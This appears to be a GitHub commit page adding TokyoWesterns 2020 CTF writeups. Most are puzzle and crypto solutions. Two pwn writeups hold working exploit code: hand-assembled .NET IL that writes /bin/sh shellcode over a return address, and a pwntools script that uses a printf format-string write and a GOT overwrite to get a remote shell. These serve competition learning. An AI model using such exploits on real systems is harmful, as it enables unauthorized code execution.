Skip to content

Commit e76a96d

Browse files
committed
Add twctf2020 writeups
1 parent f28b020 commit e76a96d

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

46 files changed

+3497
-0
lines changed

twctf2020/README.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Writeups for TokyoWesterns 2020 CTF, held from September 18 to 20, 2020.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Angular of Another Universe | 239 points/8 solves
2+
3+
The solution for this problem is given on [one of the slides for flag 1 of "Angular of the Universe"](https://docs.google.com/presentation/d/1y1Ygcddx8zLs3d5nPRmfGxB7xsvZnVzQqham9XynF-I/edit#slide=id.g9b40b4acdf_0_17).
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Angular of the Universe | 139 points/39 solves + 149 points/34 solves
2+
3+
This writeup is available in slideshow format: [here](https://docs.google.com/presentation/d/1y1Ygcddx8zLs3d5nPRmfGxB7xsvZnVzQqham9XynF-I/edit#slide=id.g9b188a9c64_0_256) for flag 1 and [here](https://docs.google.com/presentation/d/1y1Ygcddx8zLs3d5nPRmfGxB7xsvZnVzQqham9XynF-I/edit#slide=id.g9b458d03f3_4_0) for flag 2.

twctf2020/bfnote/README.md

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# bfnote | Web, 320 points/18 solves
2+
3+
This writeup is available in slideshow format [here](https://docs.google.com/presentation/d/1y1Ygcddx8zLs3d5nPRmfGxB7xsvZnVzQqham9XynF-I/edit#slide=id.g9b40b4acdf_0_307).

twctf2020/birds/README.md

+57
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
In the beginning, we are given the following text and told that the flag forms
2+
a sentence:
3+
4+
```
5+
BC552
6+
AC849
7+
JL106
8+
PQ448
9+
JL901
10+
LH908
11+
NH2177
12+
```
13+
14+
Each of these numbers appears to be an airline flight number, which Google
15+
searches confirm. There isn't much information about each flight, but we do
16+
notice a pattern where many of the origin locations match up with destinations
17+
of other flights.
18+
19+
```
20+
BC552: OKA -> NGO
21+
AC849: LHR -> YYZ
22+
JL106: ITM -> HND
23+
PQ448: TBS -> ODS
24+
JL901: HND -> OKA
25+
LH908: FRA -> LHR
26+
NH2177: NRT -> ITM
27+
```
28+
29+
We then rearrange the flights into chains where the source and destination
30+
airports match.
31+
32+
```
33+
NRT -> ITM -> HND -> OKA -> NGO
34+
LHR -> YYZ
35+
TBS -> ODS
36+
FRA -> LHR
37+
```
38+
39+
Taking the first letter of each gives some fragments of words:
40+
41+
```
42+
NIHON LY TO FL
43+
```
44+
45+
Keeping with the theme of flying, we can rearrange (and smoosh two "L"s
46+
together) to get the required "sentenece":
47+
48+
```
49+
FLY TO NIHON
50+
```
51+
52+
Finally, since we know that the flag is all capital letters with no spaces
53+
as-per the challenge hint, we get:
54+
55+
```
56+
TWCTF{FLYTONIHON}
57+
```

twctf2020/circular/README.md

+37
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
We are given Ruby code and a server.
2+
3+
Examining `keygen.rb`, we can see a secure 2048-bit modulus along with a 2048-bit `k` value.
4+
```
5+
p = OpenSSL::BN.generate_prime(1024)
6+
q = OpenSSL::BN.generate_prime(1024)
7+
k = OpenSSL::BN.generate_prime(2048, false)
8+
n = p * q
9+
File.write("pubkey.txt", { n: n.to_s, k: k.to_s }.to_json)
10+
```
11+
12+
`app.rb` contains the actual encryption code:
13+
```
14+
EXPECTED_MESSAGE = 'SUNSHINE RHYTHM'
15+
...
16+
x = data["x"].to_i
17+
y = data["y"].to_i
18+
msg = data["msg"].to_s
19+
hash = ""
20+
4.times do |i|
21+
hash += Digest::SHA512.hexdigest(msg + i.to_s)
22+
end
23+
hash = hash.to_i(16) % n
24+
signature = (x ** 2 + k * y ** 2) % n
25+
26+
if signature == hash
27+
if msg == EXPECTED_MESSAGE
28+
return { result: ENV["FLAG"] }
29+
```
30+
31+
We need to provide a `x` and `y` value such that `(x**2 + k*y**2) % n` evaluates to a hash.
32+
33+
The hash is generated by taking the SHA512 hash of a fixed message modified slighly at the end each time and appending it throughout. This isn't reversible in any case, so we can just focus on the end result hash and ignore the hashing process.
34+
35+
We can find an algorithm to solve equations of the form `(x**2 + k*y**2) = m % n` in this paper by Pollard and Schnorr [here](https://ieeexplore.ieee.org/document/1057350/).
36+
37+
Implementing this, we can use given `n`,`k`,`hash` values to get a valid `x` and `y` for the server and get the flag: `TWCTF{dbodfs-dbqsjdpso-mjcsb-mfp}`

twctf2020/easy-hash/README.md

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
Examining the source code, we can see it implements some custom hash function:
2+
```
3+
def easy_hash(x):
4+
m = 0
5+
for i in range(len(x) - 3):
6+
m += struct.unpack('<I', x[i:i + 4])[0]
7+
m = m & 0xffffffff
8+
return m
9+
```
10+
11+
The goal of the challenge seems to be to find a message that hashes to the same hash as `MSG`'s hash (second-preimage).
12+
13+
Note that in the `easy_hash` function, it adds one character at a time: `struct.unpack('<I', x[i:i + 4])[0]`. We can just add a null byte in the middle of `MSG`, so when hashed, 0 will be added and won't affect the final result.
14+
15+
Sending request with this new message, we get the flag: `TWCTF{colorfully_decorated_dream}`

twctf2020/il/readme.md

+99
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
## IL - pwn - 379 points (10 solves)
2+
3+
### Problem
4+
5+
We're given a Linux binary called `il`, which is a .NET Core stub program that loads a .NET assembly called `il.dll`. We can use dnSpy to decompile `il.dll`. It's very simple: all it does is read up to 2053 bytes of data from `stdin` (base64-encoded), then write those bytes into a specific offset of another .NET assembly called `ilstub.dll`. It then loads the modified binary using `Assembly.load`, grabs the function `IlStub.Stub.Func`, and calls it with the argument `0x1337`.
6+
7+
`ilstub.dll` is also a simple .NET assembly containined the aforementioned function. We can see that the user's input bytes are written directly into the IL bytecode of `IlStub.Stub.Func`. Therefore, we're basically being asked to write some .NET IL code which will read a flag or pop a shell.
8+
9+
### Solution
10+
11+
We discovered that we can use `unsafe` opcodes, as long as they otherwise pass the bytecode verifier (don't use too much stack, don't operate on the wrong types, don't unbalance the stack, etc.). Unsafe opcodes, as the name implies, are opcodes which allow you to read or write through addresses (rather than through references, as safe code would), and therefore completely break the memory safety of the .NET runtime.
12+
13+
It also turns out that the code is fully JITted, which means that there's a lot of `rwx` pages where we could just write shellcode. We have a handy opcode called `ldarga` which loads the address of an argument - a stack address. From `gdb`, we could see that this address was 2 qwords below the saved return address - and the saved return address points to another `rwx` page! So our plan is very simple: use `ldarga` to get the stack address, offset it to point to the return address, load the return address, and write shellcode there. Upon returning, our shellcode would run.
14+
15+
Due to struggles with `ilasm` during the competition, we ended up just manually assembling the exploit into hex:
16+
17+
```
18+
0f 00
19+
; add 8 twice
20+
1e 6e 58
21+
1e 6e 58
22+
; deref stack slot
23+
4c
24+
; write shellcode (dup, ldc.i4, stind.i, then add 4)
25+
25 20 488d 3df9 df 1a 6e 58
26+
25 20 ffff ff48 df 1a 6e 58
27+
25 20 83c7 1531 df 1a 6e 58
28+
25 20 f631 d231 df 1a 6e 58
29+
25 20 c0b0 3b0f df 1a 6e 58
30+
25 20 052f 6269 df 1a 6e 58
31+
25 20 6e2f 7368 df 1a 6e 58
32+
25 20 0000 0000 df 1a 6e 58
33+
; ret - shellcode executed
34+
2a
35+
```
36+
37+
Here's how that looks in IL assembly:
38+
39+
```
40+
/* 0x0000025C 0F00 */ IL_0000: ldarga.s arg
41+
/* 0x0000025E 1E */ IL_0002: ldc.i4.8
42+
/* 0x0000025F 6E */ IL_0003: conv.u8
43+
/* 0x00000260 58 */ IL_0004: add
44+
/* 0x00000261 1E */ IL_0005: ldc.i4.8
45+
/* 0x00000262 6E */ IL_0006: conv.u8
46+
/* 0x00000263 58 */ IL_0007: add
47+
/* 0x00000264 4C */ IL_0008: ldind.i8
48+
/* 0x00000265 25 */ IL_0009: dup
49+
/* 0x00000266 20488D3DF9 */ IL_000A: ldc.i4 -113406648
50+
/* 0x0000026B DF */ IL_000F: stind.i
51+
/* 0x0000026C 1A */ IL_0010: ldc.i4.4
52+
/* 0x0000026D 6E */ IL_0011: conv.u8
53+
/* 0x0000026E 58 */ IL_0012: add
54+
/* 0x0000026F 25 */ IL_0013: dup
55+
/* 0x00000270 20FFFFFF48 */ IL_0014: ldc.i4 1224736767
56+
/* 0x00000275 DF */ IL_0019: stind.i
57+
/* 0x00000276 1A */ IL_001A: ldc.i4.4
58+
/* 0x00000277 6E */ IL_001B: conv.u8
59+
/* 0x00000278 58 */ IL_001C: add
60+
/* 0x00000279 25 */ IL_001D: dup
61+
/* 0x0000027A 2083C71531 */ IL_001E: ldc.i4 823510915
62+
/* 0x0000027F DF */ IL_0023: stind.i
63+
/* 0x00000280 1A */ IL_0024: ldc.i4.4
64+
/* 0x00000281 6E */ IL_0025: conv.u8
65+
/* 0x00000282 58 */ IL_0026: add
66+
/* 0x00000283 25 */ IL_0027: dup
67+
/* 0x00000284 20F631D231 */ IL_0028: ldc.i4 835858934
68+
/* 0x00000289 DF */ IL_002D: stind.i
69+
/* 0x0000028A 1A */ IL_002E: ldc.i4.4
70+
/* 0x0000028B 6E */ IL_002F: conv.u8
71+
/* 0x0000028C 58 */ IL_0030: add
72+
/* 0x0000028D 25 */ IL_0031: dup
73+
/* 0x0000028E 20C0B03B0F */ IL_0032: ldc.i4 255570112
74+
/* 0x00000293 DF */ IL_0037: stind.i
75+
/* 0x00000294 1A */ IL_0038: ldc.i4.4
76+
/* 0x00000295 6E */ IL_0039: conv.u8
77+
/* 0x00000296 58 */ IL_003A: add
78+
/* 0x00000297 25 */ IL_003B: dup
79+
/* 0x00000298 20052F6269 */ IL_003C: ldc.i4 1768042245
80+
/* 0x0000029D DF */ IL_0041: stind.i
81+
/* 0x0000029E 1A */ IL_0042: ldc.i4.4
82+
/* 0x0000029F 6E */ IL_0043: conv.u8
83+
/* 0x000002A0 58 */ IL_0044: add
84+
/* 0x000002A1 25 */ IL_0045: dup
85+
/* 0x000002A2 206E2F7368 */ IL_0046: ldc.i4 1752379246
86+
/* 0x000002A7 DF */ IL_004B: stind.i
87+
/* 0x000002A8 1A */ IL_004C: ldc.i4.4
88+
/* 0x000002A9 6E */ IL_004D: conv.u8
89+
/* 0x000002AA 58 */ IL_004E: add
90+
/* 0x000002AB 25 */ IL_004F: dup
91+
/* 0x000002AC 2000000000 */ IL_0050: ldc.i4 0
92+
/* 0x000002B1 DF */ IL_0055: stind.i
93+
/* 0x000002B2 1A */ IL_0056: ldc.i4.4
94+
/* 0x000002B3 6E */ IL_0057: conv.u8
95+
/* 0x000002B4 58 */ IL_0058: add
96+
/* 0x000002B5 2A */ IL_0059: ret
97+
```
98+
99+
When run, we get a shell, so we can `cat flag.txt` to get our flag: `TWCTF{0n3_brINgS_5h4d0W_0nE_BRIng5_LighT}`

twctf2020/mask/README.md

+73
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
# Mask
2+
3+
Misc, Score: 26, solved by 102 teams
4+
5+
## Problem
6+
7+
> 192.168.55.86/255.255.255.0
8+
> 192.168.80.198/255.255.255.128
9+
> 192.168.1.228/255.255.255.128
10+
> 192.168.90.68/255.255.254.0
11+
> 192.168.8.214/255.255.255.128
12+
> 192.168.5.197/255.255.255.128
13+
> 192.168.71.90/255.255.255.0
14+
> 192.168.62.55/255.255.255.192
15+
> 192.168.78.209/255.255.255.128
16+
> 192.168.76.216/255.255.255.128
17+
> 192.168.91.202/255.255.255.128
18+
> 192.168.93.108/255.255.255.0
19+
> 192.168.74.76/255.255.254.0
20+
> 192.168.10.88/255.255.254.0
21+
> 192.168.82.236/255.255.255.128
22+
> 192.168.13.246/255.255.255.128
23+
> 192.168.99.228/255.255.255.128
24+
> 192.168.68.83/255.255.252.0
25+
> 192.168.23.113/255.255.255.192
26+
> 192.168.52.113/255.255.255.192
27+
> 192.168.69.99/255.255.255.0
28+
> 192.168.19.114/255.255.255.192
29+
> 192.168.53.236/255.255.255.128
30+
> 192.168.90.117/255.255.254.0
31+
> 192.168.35.90/255.255.255.0
32+
> 192.168.91.121/255.255.255.0
33+
> 192.168.48.49/255.255.255.192
34+
> 192.168.27.104/255.255.255.0
35+
> 192.168.98.204/255.255.255.128
36+
> 192.168.93.87/255.255.255.0
37+
> 192.168.44.113/255.255.255.192
38+
> 192.168.40.104/255.255.248.0
39+
> 192.168.25.227/255.255.255.128
40+
> 192.168.57.50/255.255.255.192
41+
> 192.168.97.115/255.255.255.0
42+
> 192.168.30.47/255.255.255.192
43+
> 192.168.10.102/255.255.254.0
44+
> 192.168.51.209/255.255.255.128
45+
> 192.168.82.125/255.255.255.192
46+
> 192.168.72.125/255.255.255.192
47+
48+
## Solution
49+
50+
These are IPv4 addresses with masks. Applying the mask to find the
51+
unique value within the mask (i.e., bitwise-and of address with the
52+
bitwise-inverse of the mask) gives us ASCII characters, which can be
53+
base64 decoded to obtain the flag.
54+
55+
```python
56+
x = """
57+
192.168.55.86/255.255.255.0
58+
...
59+
192.168.72.125/255.255.255.192
60+
"""
61+
62+
def conv_num(x):
63+
a, b, c, d = [int(a) for a in x.split('.')]
64+
return ((a * 256 + b) * 256 + c) * 256 + d
65+
66+
x = [list(map(conv_num, x.split('/'))) for x in x.strip().split('\n')]
67+
x = [a & ~b for a,b in x]
68+
x = list(map(chr, x))
69+
x = ''.join(x)
70+
x = x.decode('base64')
71+
72+
print(repr(x))
73+
```
+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Write shellcode to an executable stack using a `printf` format string exploit, then jump to it using GOT.

twctf2020/nothing-more-to-say/sice.py

+40
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
from pwn import *
2+
from pwnlib import shellcraft
3+
import time
4+
5+
context.arch = 'amd64'
6+
context.log_level = "debug"
7+
8+
E = ELF("./nothing")
9+
#r = gdb.debug("./nothing")
10+
r = remote("pwn02.chal.ctf.westerns.tokyo", 18247)
11+
12+
r.recvuntil("> ")
13+
14+
def send_payload(data):
15+
r.sendline(data)
16+
time.sleep(1)
17+
dat = r.recv()
18+
return dat
19+
20+
stack = int(send_payload("START%%%p$pEND").replace(b"START%",b"").replace(b"$pEND\n> ",b""), 16)
21+
22+
format_string = FmtStr(execute_fmt=send_payload)
23+
24+
shellcode = asm(shellcraft.amd64.linux.sh()) + b"\x00"*8
25+
target = stack-0x10000
26+
for i in range(0, len(shellcode), 8):
27+
format_string.write(target+i, int.from_bytes(shellcode[i:i+8], "little"))
28+
format_string.execute_writes()
29+
30+
#format_string.write(E.got["printf"], target)
31+
print(hex(target))
32+
33+
print("wrote shellcode")
34+
format_string.write(E.got["printf"], target)
35+
format_string.execute_writes()
36+
37+
38+
r.interactive()
39+
40+

0 commit comments

Comments
 (0)